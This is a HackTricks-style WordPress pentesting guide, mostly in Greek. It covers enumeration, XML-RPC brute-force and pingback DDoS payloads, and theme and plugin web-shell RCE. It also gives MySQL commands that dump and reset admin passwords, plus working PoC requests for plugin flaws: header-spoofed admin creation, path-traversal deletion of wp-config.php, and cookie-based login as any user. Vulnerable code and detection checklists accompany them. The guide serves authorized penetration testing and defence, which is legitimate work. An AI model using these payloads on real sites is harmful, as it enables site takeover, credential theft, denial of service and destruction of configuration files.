Wordpress
Reading time: 34 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, οπότε αν αλλάξετε κάποια php του theme για να πετύχετε RCE πιθανόν θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
Στο wp-config.php μπορείτε να βρείτε το root password της βάσης δεδομένων.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη.wp-activate.php
χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη δημιουργία ενός νέου WordPress site.- Φάκελοι login (μπορεί να έχουν μετονομαστεί για να κρυφτούν):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μέσο μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress REST API.- Ο φάκελος
wp-content
είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes. wp-content/uploads/
Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που ανεβαίνουν στην πλατφόρμα.wp-includes/
Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.wp-sitemap.xml
Σε εκδόσεις Wordpress 5.5 και μεγαλύτερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλες τις δημόσιες δημοσιεύσεις και τα publicly queryable post types και taxonomies.
Post exploitation
- Το αρχείο
wp-config.php
περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το database name, database host, username και password, authentication keys and salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο για troubleshooting.
Users Permissions
- Administrator
- Editor: Publish και διαχειρίζεται τις δικές του και άλλων δημοσιεύσεις
- Author: Publish και διαχειρίζεται τις δικές του δημοσιεύσεις
- Contributor: Γράφει και διαχειρίζεται τις δημοσιεύσεις του αλλά δεν μπορεί να τις δημοσιεύσει
- Subscriber: Περιηγείται τις δημοσιεύσεις και επεξεργάζεται το προφίλ του
Passive Enumeration
Get WordPress version
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt
ή /readme.html
Μέσα στον πηγαίο κώδικα της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Αρχεία σύνδεσης CSS
- Αρχεία JavaScript
Λήψη προσθέτων
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Λήψη Θεμάτων
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Εξαγωγή εκδόσεων γενικά
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ενεργή ανίχνευση
Plugins and Themes
Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα Plugins και Themes που είναι διαθέσιμα. Για να τα ανακαλύψετε όλα, θα χρειαστεί να ενεργά κάνετε Brute Force σε μια λίστα με Plugins και Themes (ελπίζοντας ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
Χρήστες
- ID Brute: Παίρνετε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing στα user IDs:
curl -s -I -X GET http://blog.example.com/?author=1
Αν οι απαντήσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Αν η απάντηση είναι 400, τότε το id είναι άκυρο.
- wp-json: Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες στέλνοντας αιτήματα:
curl http://blog.example.com/wp-json/wp/v2/users
Ένα άλλο /wp-json/
endpoint που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει post. Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία.
Επίσης σημειώστε ότι /wp-json/wp/v2/pages μπορεί να leak διευθύνσεις IP.
- Login username enumeration: Όταν πραγματοποιείται είσοδος στο
/wp-login.php
, το μήνυμα είναι διαφορετικό ανάλογα με το αν το δηλωμένο όνομα χρήστη υπάρχει ή όχι.
XML-RPC
Αν το xml-rpc.php
είναι ενεργό, μπορείτε να πραγματοποιήσετε credentials brute-force ή να το χρησιμοποιήσετε για να εκτελέσετε DoS επιθέσεις σε άλλους πόρους. (You can automate this process using this for example).
Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο /xmlrpc.php και στείλτε αυτό το αίτημα:
Έλεγχος
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
ή metaWeblog.getUsersBlogs
είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι όπως:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Το μήνυμα "Incorrect username or password" μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα.
Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανίζεται η διαδρομή (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Επίσης υπάρχει ένας γρηγορότερος τρόπος για brute-force credentials χρησιμοποιώντας system.multicall
καθώς μπορείς να δοκιμάσεις αρκετά credentials στο ίδιο request:
.png)
Παράκαμψη 2FA
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχεις valid creds αλλά η κύρια είσοδος προστατεύεται με 2FA, μπορεί να καταφέρεις να εκμεταλλευτείς xmlrpc.php για να συνδεθείς με αυτά τα creds παρακάμπτοντας την 2FA. Σημείωσε ότι δεν θα μπορείς να εκτελέσεις όλες τις ενέργειες που μπορείς μέσω του console, αλλά μπορείς ακόμα να φτάσεις σε RCE όπως εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ή port scanning
Αν βρεις τη μέθοδο pingback.ping μέσα στη λίστα μπορείς να κάνεις το Wordpress να στείλει ένα αυθαίρετο request σε οποιοδήποτε host/port.
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσεις από χιλιάδες Wordpress sites να access μία location (οπότε προκαλείται DDoS σε αυτή την τοποθεσία) ή μπορείς να το χρησιμοποιήσεις για να κάνεις το Wordpress να scan κάποιο εσωτερικό network (μπορείς να δηλώσεις όποιο port θέλεις).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Αν λάβετε faultCode με τιμή μεγαλύτερη από 0 (17), σημαίνει ότι η θύρα είναι ανοιχτή.
Ρίξτε μια ματιά στη χρήση του system.multicall
στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του ιστότοπου Wordpress: /wp-cron.php
Όταν αυτό το αρχείο προσπελαύνεται εκτελείται ένα "βαρύ" MySQL query, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει ένα DoS.
Επιπλέον, από προεπιλογή, το wp-cron.php
καλείται σε κάθε φόρτωση σελίδας (οποτεδήποτε ένας client ζητά οποιαδήποτε σελίδα Wordpress), κάτι που σε ιστότοπους με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
/wp-json/oembed/1.0/proxy - SSRF
Δοκιμάστε να προσπελάσετε https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net και ο Worpress site μπορεί να κάνει ένα αίτημα προς εσάς.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Αυτό το εργαλείο ελέγχει αν υπάρχει το methodName: pingback.ping και το path /wp-json/oembed/1.0/proxy και, αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
Αυτόματα εργαλεία
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Απόκτηση πρόσβασης με την υπεργραφή ενός bit
Αυτό είναι περισσότερο περιέργεια παρά πραγματική επίθεση. Στο CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση 5389
του αρχείου /var/www/html/wp-includes/user.php
ώστε να κάνεις NOP την NOT (!
) λειτουργία.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Πίνακας RCE
Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (admin credentials needed)
Εμφάνιση → Theme Editor → 404 Template (στη δεξιά πλευρά)
Αλλάξτε το περιεχόμενο σε ένα php shell:
Αναζητήστε στο διαδίκτυο πώς να αποκτήσετε πρόσβαση στην ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Μπορείτε να χρησιμοποιήσετε:
use exploit/unix/webapp/wp_admin_shell_upload
για να αποκτήσετε session.
Plugin RCE
PHP plugin
Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
Στη συνέχεια προσθέστε ένα νέο plugin:
Upload plugin and press Install Now:
Click on Procced:
Πιθανώς αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
Πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
Uploading and activating malicious plugin
Αυτή η μέθοδος αφορά την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτηθεί ένα web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
- Plugin Acquisition: Το plugin αποκτάται από μια πηγή όπως Exploit DB όπως here.
- Plugin Installation:
- Πλοηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο
Dashboard > Plugins > Upload Plugin
. - Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
- Plugin Activation: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
- Exploitation:
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός WordPress site.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Από XSS σε RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Δημιουργεί έναν χρήστη στο WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
- (RCE) Built-In Plugin Edit: Επεξεργασία ενσωματωμένων plugins στο WordPress.
- (RCE) Built-In Theme Edit: Επεξεργασία ενσωματωμένων themes στο WordPress.
- (Custom) Custom Exploits: Προσαρμοσμένα exploits για third-party WordPress plugins/themes.
Post Exploitation
Extract usernames and passwords:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Αλλαγή κωδικού admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργία του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία, καθώς και κάποια παραδείγματα ευπαθών plugins στο αυτό το άρθρο.
wp_ajax
Ένας από τους τρόπους που ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα στη λογική, authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce, το οποίο οποιοσδήποτε χρήστης authenticated στην Wordpress instance μπορεί να έχει (ανεξαρτήτως ρόλου).
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Η χρήση του nopriv
κάνει το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμα και μη αυθεντικοποιημένους).
caution
Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση wp_verify_nonce
, αυτή η συνάρτηση απλώς επαληθεύει ότι ο χρήστης είναι συνδεδεμένος — συνήθως δεν ελέγχει το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά δικαιώματα μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
- REST API
Επίσης είναι δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρίζοντας ένα REST API χρησιμοποιώντας τη συνάρτηση register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Η permission_callback
είναι μια callback συνάρτηση που ελέγχει αν ένας δεδομένος χρήστης είναι εξουσιοδοτημένος να καλέσει την API μέθοδο.
If the built-in __return_true
function is used, it'll simply skip user permissions check.
- Άμεση πρόσβαση στο php αρχείο
Φυσικά, Wordpress χρησιμοποιεί PHP και αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Οπότε, στην περίπτωση που ένα plugin εκθέτει κάποια ευπαθή λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Επίπτωση: unauthenticated privilege escalation σε admin μέσω δημιουργίας νέου administrator μέσω του core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(αναγκάζει user ID 1, συνήθως τον πρώτο administrator account). - Exploited route:
POST /wp-json/wp/v2/users
με ένα elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Γιατί λειτουργεί
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση authentication και παρακάμπτει τους ελέγχους capability.
- Το WordPress core αναμένει την capability
create_users
για αυτό το route· το hack του plugin την παρακάμπτει ρυθμίζοντας άμεσα το current user context από το header.
Δείκτες επιτυχίας
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
- Νέος admin χρήστης ορατός στο
wp-admin/users.php
.
Λίστα ελέγχου εντοπισμού
- Ψάξτε με grep για
getallheaders()
,$_SERVER['HTTP_...']
ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ.wp_set_current_user()
,wp_set_auth_cookie()
). - Εξετάστε τις REST registrations για privileged callbacks που στερούνται ισχυρών ελέγχων
permission_callback
και στηρίζονται αντίθετα σε request headers. - Ψάξτε για usages των core user-management functions (
wp_insert_user
,wp_create_user
) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
Μη-επαληθευμένη Αυθαίρετη Διαγραφή Αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
Τα WordPress θέματα και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks wp_ajax_
και wp_ajax_nopriv_
. Όταν η παραλλαγή nopriv χρησιμοποιείται το callback γίνεται προσβάσιμο από μη-επαληθευμένους επισκέπτες, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
- Έναν έλεγχο capability (π.χ.
current_user_can()
ή τουλάχιστονis_user_logged_in()
), και - Ένα CSRF nonce επικυρωμένο με
check_ajax_referer()
/wp_verify_nonce()
, και - Αυστηρή εξυγίανση / επικύρωση εισόδων.
Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία Remove Font Family και τελικά παρείχε τον παρακάτω κώδικα (απλοποιημένος):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Προβλήματα που εισάγει αυτό το απόσπασμα:
- Μη αυθεντικοποιημένη πρόσβαση – το hook
wp_ajax_nopriv_
καταχωρείται. - Καμία επαλήθευση nonce / capability – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
- Καμία απολύμανση διαδρομής – η συμβολοσειρά
fontfamily
που ελέγχεται από τον χρήστη συνενώνεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας την κλασική../../
traversal.
Exploitation
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο κάτω από τον βασικό κατάλογο uploads (συνήθως <wp-root>/wp-content/uploads/
) στέλνοντας ένα μόνο HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Επειδή το wp-config.php
βρίσκεται έξω από το uploads, τέσσερις ακολουθίες ../
αρκούν σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του wp-config.php
αναγκάζει το WordPress να μπει στο installation wizard στην επόμενη επίσκεψη, επιτρέποντας πλήρες site take-over (ο attacker απλώς παρέχει νέα DB configuration και δημιουργεί έναν admin χρήστη).
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme .php
(για να σπάσουν security plugins) ή κανόνες .htaccess
.
Λίστα ελέγχου ανίχνευσης
- Οποιοδήποτε callback
add_action( 'wp_ajax_nopriv_...')
που καλεί filesystem helpers (copy()
,unlink()
,$wp_filesystem->delete()
, κ.λπ.). - Συνένωση μη-ελεγχόμενης εισόδου χρήστη σε paths (αναζητήστε
$_POST
,$_GET
,$_REQUEST
). - Απουσία των
check_ajax_referer()
καιcurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']
) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει του reset-for=<username>
αν το username εμφανιζόταν σε έναν εσωτερικό πίνακα $options['viewing_admin_as_role_are']
, αλλά δεν εκτέλεσε ούτε έλεγχο current_user_can()
ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Why it’s exploitable
- Εμπιστεύεται
$_REQUEST['reset-for']
και μια επιλογή plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή. - Εάν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο
_asenha_view_admin_as_original_roles
και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας το reset path. - Σε κάποιες αναπτύξεις, οποιοσδήποτε authenticated user θα μπορούσε να προκαλέσει reset για άλλο username που εξακολουθεί να υπάρχει στο
viewing_admin_as_role_are
(broken authorization).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. administrator
), αυξάνοντας ουσιαστικά τα προνόμια.
Detection checklist
- Αναζητήστε λειτουργίες role-switching που διατηρούν “original roles” στο user meta (π.χ.
_asenha_view_admin_as_original_roles
). - Εντοπίστε διαδρομές επαναφοράς που:
- Διαβάζουν ονόματα χρηστών από
$_REQUEST
/$_GET
/$_POST
. - Τροποποιούν ρόλους μέσω
add_role()
/remove_role()
χωρίςcurrent_user_can()
καιwp_verify_nonce()
/check_admin_referer()
. - Εξουσιοδοτούν βάσει πίνακα επιλογών plugin (π.χ.
viewing_admin_as_role_are
) αντί για τις ικανότητες του ενεργούντος χρήστη.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Κάποια plugins συνδέουν user-switching helpers στο δημόσιο init
hook και εξάγουν ταυτότητα από cookie που ελέγχεται από τον client. Εάν ο κώδικας καλεί wp_set_auth_cookie()
χωρίς να επαληθεύει την αυθεντικοποίηση, τις ικανότητες και ένα έγκυρο nonce, οποιοσδήποτε μη αυθεντικοποιημένος επισκέπτης μπορεί να αναγκάσει σύνδεση ως αυθαίρετο user ID.
Τυπικό ευάλωτο pattern (απλοποιημένο από Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Γιατί είναι εκμεταλλεύσιμο
- Το δημόσιο
init
hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχοis_user_logged_in()
). - Η ταυτότητα προκύπτει από ένα cookie που τροποποιείται από τον client (
original_user_id
). - Άμεση κλήση του
wp_set_auth_cookie($uid)
συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο capability/nonce.
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Σκέψεις WAF για CVEs του WordPress/πρόσθετων
Οι γενικοί edge/server WAFs ρυθμίζονται για ευρείς προτύπους (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου στο WordPress/στα πρόσθετα είναι σφάλματα λογικής/ελέγχου ταυτότητας ειδικά στην εφαρμογή που μοιάζουν με αθώα κίνηση εκτός αν η μηχανή κατανοεί τις διαδρομές του WordPress και τη σημασιολογία των πρόσθετων.
Offensive notes
- Στοχεύστε plugin-specific endpoints με clean payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Δοκιμάστε πρώτα unauth paths (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation. - Τυπικές περιπτώσεις υψηλού αντίκτυπου: privilege escalation (broken access control), αυθαίρετη αποστολή/λήψη αρχείων, LFI, open redirect.
Defensive notes
